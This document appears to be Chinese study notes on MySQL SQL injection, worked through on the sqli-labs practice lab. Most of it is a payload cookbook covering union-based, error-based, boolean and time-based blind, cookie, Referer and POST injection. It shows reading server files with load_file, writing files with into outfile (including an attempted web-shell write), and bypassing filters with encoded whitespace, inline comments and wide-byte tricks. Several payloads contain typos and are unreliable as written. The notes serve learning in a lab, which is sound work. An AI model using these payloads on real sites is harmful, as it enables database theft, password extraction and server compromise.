默认的数据库有:
information_schema :是一个信息数据库,它保存着关于MySQL服务器所维护的所有其他数据库的信息。(如数据库名,数据库的表,表栏的数据类型与访问权 限等。)
mysql:mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息
performance_schema:主要用于收集数据库服务器性能参数
test: 这个是安装时候创建的一个测试数据库,和它的名字一样,是一个完全的空数据库,没有任何表,可以删除。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| pikachu |
| pkxss |
| security |
| test |
+--------------------+
9 rows in set (0.38 sec)
我们需要关注的主要是information_schema库
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_BUFFER_PAGE |
| INNODB_TRX |
| INNODB_BUFFER_POOL_STATS |
| INNODB_LOCK_WAITS |
| INNODB_CMPMEM |
| INNODB_CMP |
| INNODB_LOCKS |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_BUFFER_PAGE_LRU |
+---------------------------------------+
40 rows in set (0.09 sec)
其中我们需要重点了解的是:
SCHEMATA表: 提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。
mysql> select * from SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | challenges | gbk | gbk_chinese_ci | NULL |
| def | dvwa | utf8 | utf8_general_ci | NULL |
| def | mysql | utf8 | utf8_general_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | pikachu | utf8 | utf8_general_ci | NULL |
| def | pkxss | utf8 | utf8_general_ci | NULL |
| def | security | gbk | gbk_chinese_ci | NULL |
| def | test | latin1 | latin1_swedish_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
TABLES表: 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
mysql> select * from TABLES\G;
*************************** 1. row ***************************
TABLE_CATALOG: def
TABLE_SCHEMA: information_schema
TABLE_NAME: CHARACTER_SETS
TABLE_TYPE: SYSTEM VIEW
ENGINE: MEMORY
VERSION: 10
ROW_FORMAT: Fixed
TABLE_ROWS: NULL
AVG_ROW_LENGTH: 384
DATA_LENGTH: 0
MAX_DATA_LENGTH: 16604160
INDEX_LENGTH: 0
DATA_FREE: 0
AUTO_INCREMENT: NULL
CREATE_TIME: 2020-05-25 09:13:46
UPDATE_TIME: NULL
CHECK_TIME: NULL
TABLE_COLLATION: utf8_general_ci
CHECKSUM: NULL
CREATE_OPTIONS: max_rows=43690
TABLE_COMMENT:
COLUMNS表: 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
TABLE_CATALOG: def
TABLE_SCHEMA: security
TABLE_NAME: users
COLUMN_NAME: password
ORDINAL_POSITION: 3
COLUMN_DEFAULT: NULL
IS_NULLABLE: NO
DATA_TYPE: varchar
CHARACTER_MAXIMUM_LENGTH: 20
CHARACTER_OCTET_LENGTH: 40
NUMERIC_PRECISION: NULL
NUMERIC_SCALE: NULL
CHARACTER_SET_NAME: gbk
COLLATION_NAME: gbk_chinese_ci
COLUMN_TYPE: varchar(20)
COLUMN_KEY:
EXTRA:
PRIVILEGES: select,insert,update,references
COLUMN_COMMENT:
876 rows in set (0.17 sec)
常用的函数:
MySql注入常用函数
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()链接数据库的用户名
database()数据库名
version()数据库版本
@@datadir数据库路径
@@basedir数据库安装路径
@@version_conpile_os操作系统
count()返回执行结果数量
concat()没有分隔符地链接字符串
concat_ws()含有分隔符地连接字符串
group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
load_file()读取本地文件
into outfile 写文件
ascii()字符串的ASCII代码值
ord()返回字符串第一个字符的ASCII值
mid()返回一个字符串的一部分
substr()返回一个字符串的一部分
length()返回字符串的长度
floor()返回小于或等于x的最大整数
rand()返回0和1之间的一个随机数
a、判断是否存在注入
http://localhost/duola/sqli1/Less-1/index.php?id=1%27
后台的语句:
select * from user where id='1'' limit 0,1 报错
出现报错,则有注入点
b、让报错的语句不报错
http://localhost/duola/sqli1/Less-1/index.php?id=1%27--+
为什么加“+”
因为注释是“--空格”,但是直接打空格浏览器不解析为空格,而“+”会被解析成空格
c、猜解字段的数量,如果n=n时无报错,n=n+1时有报错,则说明有n个字段
http://localhost/duola/sqli1/Less-1/index.php?id=1%27 order by n--+
order by为什么可以查询字段?
select * from users order by 3 #对users表的第3列进行排序
当表中无第n字段时,就会报错
d、确定显示位,id必须为查询不到的数值
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 union select 1,2,3--+
联合查询:
select * from users where id='-1' union select 1,2,3;
左边没有查询结果,右边查询1,2,3指向显示位(列名的位置)
2对应的是name,3对应的是password
确定1,2,3显示的位置
e、查询详细信息(当前数据库,数据库版本,当前用户)
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 select 1,concat_ws('~',database(),user()),3--+
连接字符串:
concat
concat_ws:第一位为连接符
select 1,concat_ws('~',database(),user());
结果:database~user
group_concat:拼接字符串
f、查询数据库名(利用默认的数据库名)
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
小知识:
infoamation_schema
简单的数据信息库
里面都是视图,不是表,所以没有具体文件
schemata(表):数据库信息
schema_name (列) 数据库名字
tables(表):数据库和表的关系
schema_name (列) 数据库名字
table_name(列) 表的名字
columns 表和列的关系
table_name(列) 表的名字
column_name(列) 列名
g、查看数据库中的表
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
h、查询表中的列
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
i、查询表中的数据
http://localhost/duola/sqli1/Less-1/index.php?id=-1%27 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users--+
1、整形注入(sqli_labs Less2)
注入产生的三要素:未严格过滤,恶意修改,成功执行
(1)判断是否有注入
可控参数的改变是否影响页面显示结果
输入的SQL语句能否报错(通过报错,看到数据库的一些语句痕迹)
能否不报错(我们的语句能够成功闭合)
?id=2 # 不报错 整形注入
判断是什么类型的注入 整形注入
语句是否能够被恶意修改
是否能够执行
获取我们想要的数据
数据库–>表–>字段 注入过程与上文相同
2、字符型注入(单引号和双引号 Less1)
?id=1 ?id=2 不报错
?id=1' 报错,分析单引号 23% #号
concat()
concat_ws()
group_concat()
闭合的语句:
‘、 “、 “)、 ”))
3、post注入(Less 11)登录框
输入框测试
hackbug 提交post请求
burpsuite 抓包改包
注入过程和get注入相同
4、双注入(Less 11)
函数:
count() 聚合函数,返回符合条件的记录数量
count(*)包括了所有的列,相当于行数,在统计结果的时候,不会忽略列值为NULL
count(1)包括了忽略所有列,用1代表代码行,在统计结果的时候,不会忽略列值为NULL
count(列名)只包括列名那一列,在统计结果的时候,会忽略列值为空(这里的空不是只空字符串或者0,而是
表示null)的计数,即某个字段值为NULL时,不统计。
group by 分组函数,根据什么来分组
rand() 是一个生成随机数的函数,返回0到1之间的一个值
floor()取整函数
limit :
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)
admin' union select 1,count(1) from innformation_schema.tables group by concat(floor(rand()*2)),(select table_name from information_schema.tables where table_schema=database() limit 0,1) %23&password=123456&submit=Submit
5、报错注入(Less 11)
函数:
extractvalue():从目标XML中返回包含所查询值的字符串
extractvalue(XML_document,XPath_string);
第一个参数:XML_document是string格式,为XML对象的名称,文中为Doc
第二个参数:XPath_string (XPath格式的字符串)
concat:返回结果为连接参数产生的字符串
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是string格式,为XML对象的名称,文中为Doc
第二个参数:XPath_string (XPath格式的字符串),自己了解Xpath语法
第三个参数:new_value,String格式,替换查找到的符合条件的数据
0x7e "~"
uname=' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
利用extractvalue的第二个参数不符合Xpath语法进行报错,从而在报错信息中查询想要的信息
同理:
uname=' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema =database() limit 0,1)),1)
6、布尔盲注(less 5)
看不见报错信息和数据库的返回信息的报错
id=1' 报错
id=1' # 不报错
id=1' and 0 #报错
id=-1' or 1 #不报错
id=-1' or (select substr(version(),1,1)=‘a’)
substr()截取字符串
substr(version(),1,1) 截取version()返回结果的第一个字符
select substr(version(),1,1)=‘a’ 若第一个字符为a ,则返回真,整个语句为真,不报错
若第一个字符不为a ,则返回假,整个语句为假,报错
substr(version(),2,1) 截取version()返回结果的第二个字符
id=-1' or (select substr(version(),1,1)=‘a’)
id =-1' or (select ascii(substr(table_name,1,1) )from information_schema.tables where table_schema=s=database() limit 0,1)=100 %23
通过ascii将字符转换成数字再通过二分法,">" "<"来判断
7、时间盲注
时间:时间延时注入
id=1 可能出现的结果 id=1' id=1" id=1)
id=1' or if(1,sleep(2),0) %23 如果if中的第一个参数即条件为真则执行sleep(2),条件为假,则返回0
id=1' or if(ascii()>0,sleep(),0) %23
id=1' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database()limit 0,1)>0,sleep(),0) %23
观察sleep()函数是否执行来判断if的条件是否为真,猜测出表名
8、cookie注入(Less 20)
登录后会获取cookie
Cookie:uname=admin' order by n
Cookie:uname=admin' and 0 union select 1,2,3 %23
Cookie:uname=admin' and 0 union select 1,user(),3 %23
Cookie:uname=admin' and 0 union select 1,group_concat(table_name),3 from infoormation_schema.tables where table_schema=database() %23
Cookie:uname=admin' and 0 union select 1,group_concat(colum_name),3 from infoormation_schema.clumns where table_schema=database() and table_name='user' %23
Cookie:uname=admin' and 0 union select 1,group_concat(concat_ws(':',username,password)),3 from users %23
9、http_Referer注入(Less 19)
抓包后注入
后台语句可能不是select语句
有可能是insert或update
insert into xxx(a,b,c)value('' and '','')
insert into xxx(a,b,c)value('' and extractvalue(1,concat(ox7e,@@version)) and '','')
insert into xxx(a,b,c)value('' and extractvalue(1,concat(ox7e,(select table_name from infoormation_schema.tables where table_schema=database()))) and '','')
Referer:http://www.xx.com/sqli/Less-19/
10、SQL注入读取文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。使用条件:
A、必须有权限读取并且文件必须完全可读
B、想要读取的文件必须要在服务器上
C、必须指定文件完整的路径
D、想要读取的文件必须小于 max_allowed_packet
Less1
id=-1' union select 1,2,3 %23
id=-1' union select 1,2,load_file("c://boot.ini") %23
获取绝对路径的获取方法:
1、经验,常见的文件的决定路径
2、通过报错,报出绝对路径
id=-1' union select 1,2,load_file("c:\\phpstudy\\www\\sqli\\Less-1\\index.php") %23
发现读取的文件很杂乱
可以转换成十六进制,再通过解码hex,得到更规整的文件内容
id=-1' union select 1,2,hax(load_file("c:\\phpstudy\\www\\sqli\\Less-1\\index.php") )%23
Less 7
写文件
id=1' %23 报错
id=1')) %23 不报错(多次尝试)
id=1')) order by n %23
id=1')) union select 1,2,3 into outfile"c:\\phpstudy\\www\\sqli\\Less-1\\a.txt" %23
访问后发现,写入了1,2,3
可以写入一句话木马?
id=1')) union select 1,2,"" into outfile"c:\\phpstudy\\www\\sqli\\Less-1\\a.php" %23
11、绕过注释,绕过and和or
id=1' union select 1,2,' 绕过过滤order by和注释
id=1' union select 1,select *,'
or 用 ”||“ 替换 and 用 && 替换
12、绕过空格过滤(Less 26)
过滤空格
id =1' || (select%a0extractvalue(1,concat(0x7e,version()))) ||'
不同的系统,中间件的解析不同
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 代替空格
13、内联注释绕过
用双引号判断什么字符被过滤
union select 被过滤
大小写绕过:
UNion SelecT
ununionion seselectlect
内联注释:
?id=1' 5a0/*!union*/%a0/*!select*/
/*!select*/ 内联注释
14、宽字节注入(Less-32)
数据库用gbk编码时,两个字符代表一个汉字,范围:8140———FEFE
?id=1%81' union select 1,version,version()%23
什么是宽字节?
?id=1' 发现返回结果是?id=1/'